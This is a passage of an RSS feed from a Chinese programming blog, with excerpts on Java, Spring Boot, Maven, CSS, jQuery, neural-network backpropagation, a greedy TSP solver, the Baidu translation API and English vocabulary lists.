      <description>1、数据准备&#xA;创建tb_user表 DROP TABLE IF EXISTS `tb_user`; CREATE TABLE `tb_user` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT &#39;ID&#39;, `username` varchar(50) NOT NULL COMMENT &#39;用户名&#39;, `age` int(11) NOT NULL COMMENT &#39;年龄&#39;, `ctm` datetime NOT NULL COMMENT &#39;创建时间&#39;, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 插入数据 INSERT INTO `db_springboot`.`tb_user` (`username`, `age`, `ctm`) VALUES(&#39;张三啊&#39;, &#39;18&#39;, NOW()) ; INSERT INTO `db_springboot`.`tb_user` (`username`, `age`, `ctm`) VALUES(&#39;李四&#39;, &#39;20&#39;, NOW()) ; INSERT INTO `db_springboot`.`tb_user` (`username`, `age`, `ctm`) VALUES(&#39;王五&#39;, &#39;19&#39;, NOW()) ; 2、在pom.</description>
    </item>
    <item>
      <title>人体各部分英语 图片</title>
      <link>https://bchobby.github.io/posts/56c157a981bdc87e0e71db7fbe1b7ee1/</link>
      <pubDate>Thu, 05 Jul 2018 14:44:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56c157a981bdc87e0e71db7fbe1b7ee1/</guid>
      <description>人体各部分英语：&#xA;Skeleton – 骷髅，骨架&#xA;Bone – 骨头&#xA;Joint – 关节&#xA;Vein – 静脉&#xA;Artery – 动脉&#xA;Nerve – 神经&#xA;Blood – 血液&#xA;Muscle – 肌肉&#xA;Hair 头发，体毛，寒毛&#xA;Blonde – 黄发&#xA;Brunette – 棕发&#xA;Tips of your hair or end of your hair – 发尖&#xA;Root of your hair or hair follicles – 发根&#xA;Skull – 头骨&#xA;Brain – 大脑&#xA;Forehead – 额头&#xA;Eye Brow – 眉毛&#xA;Eye Lashes – 眼睫毛</description>
    </item>
    <item>
      <title>java List复制：浅拷贝与深拷贝</title>
      <link>https://bchobby.github.io/posts/8934de5d7557c574b8b1baf5cc2c2e90/</link>
      <pubDate>Thu, 05 Jul 2018 10:05:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8934de5d7557c574b8b1baf5cc2c2e90/</guid>
      <description>原文地址: https://blog.csdn.net/demonliuhui/article/details/54572908&#xA;List浅拷贝 众所周知，list本质上是数组，而数组的是以地址的形式进行存储。 如上图将list A浅拷贝给list B，由于进行的是浅拷贝，所以直接将A的内容复制给了B，java中相同内容的数组指向同一地址，即进行浅拷贝后A与B指向同一地址。造成的后果就是，改变B的同时也会改变A，因为改变B就是改变B所指向地址的内容，由于A也指向同一地址，所以A与B一起改变。&#xA;几种浅拷贝 1、遍历循环复制&#xA;List&amp;lt;Person&amp;gt; destList=new ArrayList&amp;lt;Person&amp;gt;(srcList.size()); for(Person p : srcList){ destList.add(p); } 2、使用List实现类的构造方法&#xA;List&amp;lt;Person&amp;gt; destList=new ArrayList&amp;lt;Person&amp;gt;(srcList); 4、使用System.arraycopy()方法&#xA;Person[] srcPersons=srcList.toArray(new Person[0]); Person[] destPersons=new Person[srcPersons.length]; System.arraycopy(srcPersons, 0, destPersons, 0, srcPersons.length); 测试及结果&#xA;printList(destList); //打印未改变B之前的A srcList.get(0).setAge(100);//改变B printList(destList); //打印改变B后的A //打印结果 123--&amp;gt;20 ABC--&amp;gt;21 abc--&amp;gt;22 123--&amp;gt;100 ABC--&amp;gt;21 abc--&amp;gt;22 List深拷贝 如图，深拷贝就是将A复制给B的同时，给B创建新的地址，再将地址A的内容传递到地址B。ListA与ListB内容一致，但是由于所指向的地址不同，所以改变相互不受影响。&#xA;深拷贝的方法 1.使用序列化方法&#xA;public static &amp;lt;T&amp;gt; List&amp;lt;T&amp;gt; deepCopy(List&amp;lt;T&amp;gt; src) throws IOException, ClassNotFoundException { ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteOut); out.</description>
    </item>
    <item>
      <title>SpringBoot 轻松搞定数据验证 (一)</title>
      <link>https://bchobby.github.io/posts/2175fff82595b8ae7f57cf019c23df49/</link>
      <pubDate>Wed, 04 Jul 2018 16:56:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2175fff82595b8ae7f57cf019c23df49/</guid>
      <description>感谢作者: http://www.spring4all.com/article/1224&#xA;对于任何一个应用而言，客户端做的数据有效性验证都不是安全有效的，而数据验证又是一个企业级项目架构上最为基础的功能模块，这时候就要求我们在服务端接收到数据的时候也对数据的有效性进行验证。为什么这么说呢？往往我们在编写程序的时候都会感觉后台的验证无关紧要，毕竟客户端已经做过验证了，后端没必要在浪费资源对数据进行验证了，但恰恰是这种思维最为容易被别人钻空子。毕竟只要有点开发经验的都知道，我们完全可以模拟 HTTP 请求到后台地址，模拟请求过程中发送一些涉及系统安全的数据到后台，后果可想而知....&#xA;本章目标 通过 Spring Boot 完成参数后台数据校验，轻松搞定数据有效性验证，留出更多的时间来和小姐姐聊天...&#xA;创建项目 查看依赖 &amp;lt;dependencies&amp;gt; &amp;lt;!-- 默认就内嵌了Tomcat 容器，如需要更换容器也极其简单--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 测试包,当我们使用 mvn package 的时候该包并不会被打入,因为它的生命周期只在 test 之内--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; JSR-303 介绍 JSR 是Java Specification Requests 的缩写，是指向 JCP(Java Community Process) 提出新增一个标准化技术规范的正式请求。&#xA;任何人都可以提交 JSR，以向 Java 平台增添新的 API 和服务，已审核通过的规范涉及 Java 各个领域，有兴趣可以了解一下。&#xA;Bean Validation 是一个运行时的数据验证框架，为 JavaBean 验证定义了相应的元数据模型和 API。&#xA;默认的元数据是 Java Annotations，当然也可以使用 XML 可以对已存在的元数据信息进行覆盖和扩展。&#xA;在应用中通过使用 Bean Validation 或是你自己定义的 constraint，例如 @NotNull, @Max, @ZipCode， 就可以确保数据模型的正确性。</description>
    </item>
    <item>
      <title>学习反向传播算法</title>
      <link>https://bchobby.github.io/posts/4e06688d059b0cb9e541b91356ac075a/</link>
      <pubDate>Wed, 04 Jul 2018 15:07:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e06688d059b0cb9e541b91356ac075a/</guid>
      <description>参考这里，请点击&#xA;最近有个项目，需要用到深度学习，为此学了一点神经网络，而反向传播算法为神经网络中最基础也最重要的算法，特此编辑出来，记录自己的学习经历。&#xA;从最早的模式识别（Pattern Recongnition）时期开始，研究者的目标就是用可训练的多层网络取代人工特征工程。但该解决方案并没有得到广泛认可，直到上世纪80年代中期，多层架构可以通过SGD训练。只要模块是其输入金额内部权值的相对平滑函数，就可以使用反向传播步骤计算梯度。在20世纪七八十年代，几个不同的研究小组分别独立发现该思路可行且的确可用。如下图所示&#xA;从输入单元到第一个隐层H1计算如下：&#xA;对H1层的每个单元 j j j,其值 y j = f ( z j ) , z j = ∑ i ( w i j x i ) y_j=f(z_j),z_j=\sum_{i}(w_{ij}x_i) yj​=f(zj​),zj​=∑i​(wij​xi​),其中 i i i取值遍历所有输入层节点， z j z_j zj​是对前一层所有节点的加权和，这里省略了偏置项。网络中使用非线性函数 f f f对 z j z_j zj​进行非线性变换，得到改成输出 y j y_j yj​&#xA;从H1到H2计算如下:&#xA;对H2层的每个单元 k k k,其值 y k = f ( z k ) , z k = ∑ j w j k y j y_k=f(z_k),z_k=\sum_{j}w_{jk}y_j yk​=f(zk​),zk​=∑j​wjk​yj​,其中 j j j遍历去所有H1层节点</description>
    </item>
    <item>
      <title>常见的蔬菜（vegetables）英语单词：</title>
      <link>https://bchobby.github.io/posts/cb0dc8386a07a5cb1f5c23beecff93f5/</link>
      <pubDate>Wed, 04 Jul 2018 09:47:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb0dc8386a07a5cb1f5c23beecff93f5/</guid>
      <description> 常见的蔬菜（vegetables）英语单词： pepper 胡椒 hot pepper; chilli 辣椒 sweet pepper; bell pepper; pimiento; capsicum 甜椒, 柿子椒 tomato 番茄,西红柿 asparagus 芦笋 cucumber 黄瓜 aubergine, eggplant 茄子 bean 菜豆 beet, beetroot 甜菜 potato 马铃薯 carrot 卜胡萝卜 cauliflower 菜花,花椰菜 pumpkin 西葫芦 broad bean 蚕豆 cabbage 圆白菜,卷心菜 garlic 蒜 chive 细香葱 fennel 茴香 cos lettuce 莴苣 marrow 嫩葫芦 melon 香瓜,甜瓜 celery 芹菜 onion n. 洋葱(头) leek 韭菜 radish 萝卜 tarragon 狭叶青蒿 thyme 百里香 mushroom 蘑菇 artichoke 洋蓟 broccoli, brocoli 硬花甘蓝 Brussels sprouts 芽甘蓝 caper 刺山柑,老鼠瓜 cardoon 刺菜蓟 chervil 雪维菜,细叶芹 chick-pea 鹰嘴豆 chicory 苣荬菜 cress 水田芥 cumin, cummin 孜然芹,枯茗 dandelion 蒲公英 French bean 法国菜豆 gherkin 嫩黄瓜 horseradish 辣根 Jerusalem artichoke 洋姜,鬼子姜 kale 无头甘蓝 kohlrabi 甘蓝 laurel 月桂 lentil 兵豆 lettuce 莴苣 lupin 羽扇豆 (美作:lupine) parsley 欧芹 parsnip 欧防风 pea 豌豆 rhubarb 大黄 salsify 婆罗门参 sorrel 掌叶大黄 truffle 块菌 turnip 芜菁 watercress 豆瓣菜 Potato 马铃薯 Carrot 红萝卜 Onion 洋葱 Aubergine 茄子 Celery 芹菜 White Cabbage 包心菜 Red cabbage 紫色包心菜 Cucumber 大黄瓜 Tomato 蕃茄 Radish 小红萝卜 Mooli 白萝卜 Watercress 西洋菜 Baby corn 玉米尖 Sweet corn 玉米 Cauliflower 白花菜 Spring onions 葱 Garlic 大蒜 Ginger 姜 Chinese leaves 大白菜 Leeks 大葱 Mustard &amp;amp; cress 芥菜苗 Green Pepper 青椒 Red pepper 红椒 Yellow pepper 黄椒 Mushroom 洋菇 Broccoliflorets 绿花菜 Courgettes 绿皮南瓜，形状似小黄瓜，但不可生食 Coriander 香菜 Dwarf Bean 四季豆 Flat Beans 长形平豆 Iceberg 透明包心菜 Lettuce 莴苣菜 Swede or Turnip 芜菁 Okra 秋葵 Chillies 辣椒 Eddoes 小芋头 Taro 大芋头 Sweet potato 蕃薯 Spinach 菠菜 Beansprots 绿豆芽 Peas 碗豆 Corn 玉米粒 Sprot 高丽小菜心 water chestnut荸荠 water shield莼菜 wax gourd冬瓜 yam山药 spinach菠菜 straw mushroom草菇 string bean刀豆 lettuce 莴苣 marrow 西葫芦 laver 紫菜 eggplant 茄子 the (edible) snake gourd 蛇瓜 the melabar gourd 黑子南瓜(无花果叶瓜) the serpent gourd 蛇瓜 the spanish gourd 南瓜 the sponge[towel] gourd 丝瓜 the teasel gourd 刺瓜 buttom mushroom 蘑菇 brown mushroom 鲜冬菇 enoki mushroom 金针菇 straw mushroom 草菇 oyster mushroom 油菇 abalone mushroom 鲍鱼菇 zucchini 小西葫芦 angled luffa 丝瓜 aloe 芦荟 clove 丁香 aniseed 八角 cinnamon 肉桂 licorice 草 honeydew 甜瓜 cantaloup 香瓜 choysum 菜心 </description>
    </item>
    <item>
      <title>Java 8-Stream API-练习</title>
      <link>https://bchobby.github.io/posts/cbf752fb89a6c45a754d44c943d8b70f/</link>
      <pubDate>Tue, 03 Jul 2018 21:18:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbf752fb89a6c45a754d44c943d8b70f/</guid>
      <description>交易员类&#xA;public class Trader { private final String name; private final String city; public Trader(String name, String city) { this.name = name; this.city = city; } public String getName() { return name; } public String getCity() { return city; } @Override public String toString() { return &#34;Trader{&#34; + &#34;name=&#39;&#34; + name + &#39;\&#39;&#39; + &#34;, city=&#39;&#34; + city + &#39;\&#39;&#39; + &#39;}&#39;; } } 交易类&#xA;public class Transaction { private final Trader trader; private final int year; private final int value; private Currency currency; public Currency getCurrency() { return currency; } public void setCurrency(Currency currency) { this.</description>
    </item>
    <item>
      <title>flume自定义Interceptor的UUID和其他逻辑处理</title>
      <link>https://bchobby.github.io/posts/09558858b894ef89ee77bff0bc084d58/</link>
      <pubDate>Tue, 03 Jul 2018 16:24:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09558858b894ef89ee77bff0bc084d58/</guid>
      <description>package com.meme.flume.interceptor; import com.google.common.base.Charsets; import org.apache.flume.Context; import org.apache.flume.Event; import org.apache.flume.interceptor.Interceptor; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.List; import java.util.UUID; /** * Created by root on 7/3/18. */ public class MyInterceptor implements Interceptor { private static final Logger logger = LoggerFactory .getLogger(MyInterceptor.class); public MyInterceptor(){ } @Override public void initialize() { } @Override 可以在该方法里写自己拦截器的逻辑 我这里就只添加了UUID public Event intercept(Event event) { try{ String body = new String(event.getBody(), Charsets.UTF_8); StringBuffer bodyoutput = new StringBuffer(); bodyoutput.</description>
    </item>
    <item>
      <title>英语句子成分分析（三）-- 主语＋谓语＋宾语 ＋宾语补足语</title>
      <link>https://bchobby.github.io/posts/43482c7f3ae8d4986e3491350ef702fe/</link>
      <pubDate>Tue, 03 Jul 2018 11:06:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43482c7f3ae8d4986e3491350ef702fe/</guid>
      <description>五种基本句型之 主语＋谓语＋宾语 ＋宾语补足语 这个句型在有的语法书上又叫做主语＋谓语＋复合宾语，这里的复合宾语=宾语＋宾语补足语，这里又新增加一个“东东”：宾语补足语。 说起宾语补足语来，我们先从初中你熟悉的三个句型说起 ：ask somebody to do something （邀请某人做某事） tell somebody to do something （告诉某人做某事） want somebody to do something （要求某人做某事） 你不会告诉我，这三个句型那里熟悉呀，根本没见过，那我只能说,你的英语不是一般的“菜”，上过三年初中，不知道这三位“赫赫有名”的短语，你该是恶补英语的时候了，闲话少说，我们再看由这三个句型构成的例句： 1、 I asked him to have dinner. 谓语 宾语 宾语补足语 2、 He told me to clean the room. 谓语 宾语 宾语补足语 3、 Tom wanted me to meet him . 谓语 宾语 宾语补足语 我们看第一个句子，我邀请他吃饭，他（him）是作邀请（asked）的宾语，如果后面没有to have dinner ，句子意思就不完整，我邀请他，干什么呢？没说清楚，于是就有 to have dinner 来帮助说清楚，是吃饭的，在这里的to have dinner 就是宾语补足语，这是动词不定式短语作宾补。（你又在疑惑什么是动词不定式短语呢？大家知道，to do 是动词不定式，但是如果动词不定式中的动词带有宾语或者动词不定式中的动词有副词来修饰，这时的动词不定式就成为不定式短语了。比如 to do something 就是动词不定式短语，换句话说：这里 to have(动词不定式) to have dinner（动词不定式短语）。又比如：to run是 动词不定式to run fast 是动词不定式短语）。 上面的三个句子都是不定式短语作宾语不足语来帮助宾语来补充说明，那么除了动词不定式（短语）作宾补之外，还有什么可以作宾补呢 ？ 实际上，能够作宾补的有很多，我们这里只学习几种常见的： doing \不带to的动词不定式\介词短语\形容词等等。请看下面的例句，注意观察划线的部分是有什么作的宾语补足语。： 1、I saw a thief stealing something.</description>
    </item>
    <item>
      <title>mac安装python库报openssl文件找不到</title>
      <link>https://bchobby.github.io/posts/87543f58e96fbb295ba365efe73f222f/</link>
      <pubDate>Tue, 03 Jul 2018 10:01:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87543f58e96fbb295ba365efe73f222f/</guid>
      <description>在mac上安装一些python库报错，如下：&#xA;SWIG/_m2crypto.i:54: Error: Unable to find &#39;openssl/opensslv.h&#39;&#xA;SWIG/_m2crypto.i:60: Error: Unable to find &#39;openssl/safestack.h&#39;&#xA;SWIG/_evp.i:12: Error: Unable to find &#39;openssl/opensslconf.h&#39;&#xA;SWIG/_rc4.i:5: Error: Unable to find &#39;openssl/opensslconf.h&#39;&#xA;SWIG/_ec.i:7: Error: Unable to find &#39;openssl/opensslconf.h&#39;&#xA;error: command &#39;swig&#39; failed with exit status 1&#xA;或：&#xA;build/temp.macosx-10.11-intel-2.7/_openssl.c:493:10: fatal error: &#39;openssl/opensslv.h&#39; file not found&#xA;#include &amp;lt;openssl/opensslv.h&amp;gt;&#xA;^&#xA;1 error generated.&#xA;error: command &#39;cc&#39; failed with exit status 1&#xA;此原因产生，应该是openssl版本过低或位置未找到。&#xA;查看版本命令：openssl version&#xA;版本升级：&#xA;brew update&#xA;brew install openssl</description>
    </item>
    <item>
      <title>爬虫学习之8：使用网站API获取数据（持续更新）</title>
      <link>https://bchobby.github.io/posts/ad10de735d92ed7c7e959af44815a003/</link>
      <pubDate>Mon, 02 Jul 2018 22:13:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad10de735d92ed7c7e959af44815a003/</guid>
      <description>很多网站提供了API供开发者获取数据用，通常返回的数据为JSON格式，本文以百度开放者平台为例对通过API进行数据获取进行实验，由于百度API接口很多，后续会把实验的接口陆续补充上去，都是很简单的程序，以后可以以此为基础编写更综合的应用程序。&#xA;百度API的使用步骤都差不多，注册百度开发者平台-&amp;gt;获得免费的AppID和Key-&amp;gt;构造开发者文档中提供的URL-&amp;gt;GET获取Json数据-&amp;gt;解析展示。以下小程序简单不做过多解释，屏蔽了我自己的AppID和Key。&#xA;1、百度翻译的使用&#xA;支持26中语言的翻译，翻译准确性还是很不错的。&#xA;import requests import random import hashlib import json import pprint appid = &#39;12345678&#39; key = &#39;dasd457dawgjj54j01qf&#39; url = &#39;http://api.fanyi.baidu.com/api/trans/vip/translate?&#39; #需要翻译的文本 q = &#39;建设中国特色社会主义&#39; #原语言 from_language =&#39;zh&#39; #目的语言 to_language = &#39;en&#39; #随机数 salt = random.randint(32768, 65536) #签名 sign = appid+q+str(salt)+key sign = sign.encode(&#39;utf-8&#39;) sign_new = hashlib.md5(sign).hexdigest() #生成URL new_url = url + &#39;q=&#39;+q+&#39;&amp;amp;from=&#39;+from_language+&#39;&amp;amp;to=&#39;+to_language+&#39;&amp;amp;appid=&#39;+appid+&#39;&amp;amp;salt=&#39;+str(salt)+&#39;&amp;amp;sign=&#39;+sign_new res = requests.get(new_url) print(res.text) json_data = json.loads(res.text) #translate_result = json_data[&#34;trans_result&#34;][&#34;dst&#34;] pprint.pprint(json_data[&#34;trans_result&#34;]) [{&#39;dst&#39;: &#39;Building socialism with Chinese characteristics&#39;, &#39;src&#39;: &#39;建设中国特色社会主义&#39;}] 2.</description>
    </item>
    <item>
      <title>maven多module项目的引用问题</title>
      <link>https://bchobby.github.io/posts/5dd2717c3be59aaf3df1812294cc6be2/</link>
      <pubDate>Mon, 02 Jul 2018 22:01:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5dd2717c3be59aaf3df1812294cc6be2/</guid>
      <description>问题描述:当建一个多module的maven项目时,我们想要的效果是:&#xA;当子项目引用父项目时,我们可以根据需要引用其他子项目,而不是全部其他子项目.当别的项目引用我们这个父项目时,应该引用了全部子项目.&#xA;那我们如何达到这个目标.&#xA;首先,我们知道maven的pom文件里面,如果我们想引用另一个项目就需要这样: &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-web&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.2.5.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 这样引用后,我们就可以从项目的Maven Dependencies里面看到引用的jar包.&#xA;而在我们开发多模块项目时,我们每个子项目都是在父项目的管理下,一般我们的子项目pom像这样继承父项目:&#xA;&amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;com.xiaoyu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;parent-example&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt; &amp;lt;/parent&amp;gt; 因为我们的子项目肯定是需要引用别的子项目的,那我们父项目比如这样:&#xA;&amp;lt;modules&amp;gt; &amp;lt;module&amp;gt;child-A&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;child-B&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;child-C&amp;lt;/module&amp;gt; &amp;lt;/modules&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.xiaoyu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;child-A&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.xiaoyu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;child-B&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.xiaoyu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;child-C&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 这时候假如我们child-A需要引入child-B,那么我们肯定会在child-A的pom里面这样写:&#xA;&amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;com.xiaoyu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;parent-example&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.xiaoyu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;child-B&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 没问题是不是,我也觉得很ok,可是实际你会发现,child-A的Maven Dependencies里面包含了所有的子项目的jar包.这就尴尬了,我们不需要别的子项目呀.&#xA;这点怎么解决了.如果有经验的同学肯定会用这个dependencyManagement标签来解决.于是,我们修改父项目的pom文件:&#xA;&amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.xiaoyu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;child-A&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.xiaoyu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;child-B&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.xiaoyu&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;child-C&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.</description>
    </item>
    <item>
      <title>html相对定位和绝对定位</title>
      <link>https://bchobby.github.io/posts/4d4db38804898ae80701f1a6d61955cf/</link>
      <pubDate>Mon, 02 Jul 2018 18:14:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d4db38804898ae80701f1a6d61955cf/</guid>
      <description>相对定位：该元素相对于自己原有位置，偏移一定距离。相对的是自己。&#xA;绝对定位：该元素相对于其父元素，偏移一定距离。相对的是父元素，重点是这个父元素也需要是设置了position属性。从最近的父元素开始找，直到找到body位置为止。&#xA;1）相对定位&#xA;&amp;lt;div id=&#34;test&#34;&amp;gt; &amp;lt;p class=&#34;p1&#34;&amp;gt;相对定位：相对于自己原来的位置，偏移一些距离&amp;lt;/p&amp;gt; &amp;lt;p class=&#34;p2&#34;&amp;gt;相对定位,相对的是自己&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; 对应的css样式：&#xA;#test{ height: 300px; width: 300px; background: gray; } /*p标签本身会有padding和margin值*/ p{ margin: 0px; padding: 0px; } .p1{ height: 100px; width: 100px; background: blue; } .p2{ height: 80px; width: 80px; background: red; } 运行后效果是：(这时没有设置position属性呢)&#xA;然后，给p1设置相对定位&#xA;.p1{ height: 100px; width: 100px; background: blue; /*设置相对定位*/ position: relative; /*相对于左边偏移20px,相对于上边偏移20px*/ left: 20px; top:20px; } 运行后效果如下： 2）绝对定位&#xA;再增加一個div&#xA;&amp;lt;body&amp;gt; &amp;lt;div id=&#34;test&#34;&amp;gt; &amp;lt;p class=&#34;p1&#34;&amp;gt;相对定位：相对于自己原来的位置，偏移一些距离&amp;lt;/p&amp;gt; &amp;lt;p class=&#34;p2&#34;&amp;gt;相对定位,相对的是自己&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;</description>
    </item>
    <item>
      <title>贪心法求解TSP问题 C&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/a70e5a9de40977abe161030a8c72cee2/</link>
      <pubDate>Mon, 02 Jul 2018 15:35:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a70e5a9de40977abe161030a8c72cee2/</guid>
      <description>1.问题描述 TSP问题是指旅行家要旅行n个城市然后回到出发城市，要求各个城市经历且仅经历一次，并要求所走的路程最短。&#xA;2.算法思想&#xA;贪心法求解TSP问题有两种贪心策略。&#xA;1）最近邻点策略：从任意城市出发，每次在没有到过的城市中选择最近的一个，直到经过了所有的城市，最后回到出发城市。&#xA;给定初始的城市a，寻找与其邻接的最短距离的城市b，记录二者之间的路径并增加总路径长度；下一次从城市b开始，寻找与b邻接的最短距离的城市,循环查找，直到找到n-1条路径（n为城市个数），最后加上终点回到起点的边即可。&#xA;2）最短链接策略：每次在整个图的范围内选择最短边加入到解集合中，但是，要保证加入解集合中的边最终形成一个哈密顿回路。&#xA;首先按照城市之间距离远近进行排列，从距离最近的两个城市开始，如果这两个城市不在一个联通分量中并且度数均小于等于2，那么记录二者之间的路径，将它们划分到一个联通分量并将度数增加1；然后从距离第二小的两个城市开始，重复上述操作直到记录的路径有n-1条，最后找到度数为1的两个城市，作为最后一条路径。&#xA;3.参考代码&#xA;最近邻点策略：&#xA;/*TSP问题采用贪心法的最近邻点策略*/ /* TSP问题是指旅行家需要旅行n个城市，要求各个城市经过且仅经过一次， 然后回到出发城市，并且所走的路径最短。 */ /* 最近邻点策略：从任意城市出发，每次在没有到过的城市中选择最近的一个， 直到经过了所有的城市，最后回到出发城市 */ #include&amp;lt;iostream&amp;gt; #include&amp;lt;string&amp;gt; #include&amp;lt;iomanip&amp;gt; using namespace std; //类TSP class TSP { private: int city_number;&#x9;//城市个数 int **distance;&#x9;//城市距离矩阵 int start;&#x9;//出发点 int *flag;&#x9;//标志数组，判断城市是否加入汉密顿回路 int TSPLength;&#x9;//路径长度 public: TSP(int city_num);&#x9;//构造函数 void correct();&#x9;//纠正用户输入的城市距离矩阵 void printCity(); //输出用户输入的城市距离 void TSP1();&#x9;//贪心法的最近邻点策略求旅行商问题 }; //构造函数 TSP::TSP(int city_num) { int i=0,j=0; int start_city; city_number=city_num; //初始化起点 cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>$.ajax()函数</title>
      <link>https://bchobby.github.io/posts/9c6f7003665ea85e81fb9aaec75b1a88/</link>
      <pubDate>Mon, 02 Jul 2018 13:53:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c6f7003665ea85e81fb9aaec75b1a88/</guid>
      <description>$.ajax()函数 一般在前端html和服务器交互，又要异步提交表单时，我们通常会用到$.ajax(){}函数，这是封装到ajax里的一个函数，相比于XMLHTTPRequest做页面局部刷新更方便，但最终还是使用的XMLHTTPRequest，下面记录下$.ajax()函数，以备日后回顾。&#xA;$.ajax(){}函数格式如下：&#xA;$.ajax({&#xA;url: &#34;test.aspx?r=&#34; + Math.random(),&#xA;type: &#34;GET&#34;,&#xA;data: {},&#xA;dataType: &#34;json&#34;,&#xA;async: false,&#xA;success: function (result) {&#xA;var coin = result[&#34;coin&#34;];&#xA;var stage = result[&#34;stage&#34;];&#xA;document.write(&#34;金币：&#34; + coin + &#34;个，身份：&#34; + stage);&#xA;}&#xA;});&#xA;参数具体意思：&#xA;url：请求的服务器地址，默认是当前页面，数据类型是String&#xA;type：请求的方式，有POST和GET两种，默认是GET，数据类型是String&#xA;data：发送到服务器的数据，数据类型是Object或者String，大括号里的对象必须为key/value格式，比如：data:{boy:&#34;LiLei&#34;,girl:&#34;HanMeimei&#34;,boyage:18,girlage:16}&#xA;dataType：预期服务器返回的数据类型，数据类型是String，参数值有：&#xA;xml：返回XML文档，可用JQuery处理。&#xA;html：返回纯文本HTML信息；包含的script标签会在插入DOM时执行。&#xA;script：返回纯文本JavaScript代码。不会自动缓存结果。除非设置了cache参数。注意在远程请求时（不在同一个域下），所有post请求都将转为get请求。&#xA;json：返回JSON数据。&#xA;jsonp：JSONP格式。使用SONP形式调用函数时，例如myurl?callback=?，JQuery将自动替换后一个“?”为正确的函数名，以执行回调函数。&#xA;text：返回纯文本字符串。&#xA;async：所有请求是同步还是异步，当值是true时是异步请求，为false时是同步请求。同步请求会锁住浏览器，即进入页面假死状态，用户其他操作必须等待请求完成才可以执行，请求完成以后页面假死状态解除。我们看一个例子：&#xA;$.ajax({&#xA;url: &#34;test.aspx?r=&#34; + Math.random(),&#xA;type: &#34;GET&#34;,&#xA;data: {},&#xA;dataType: 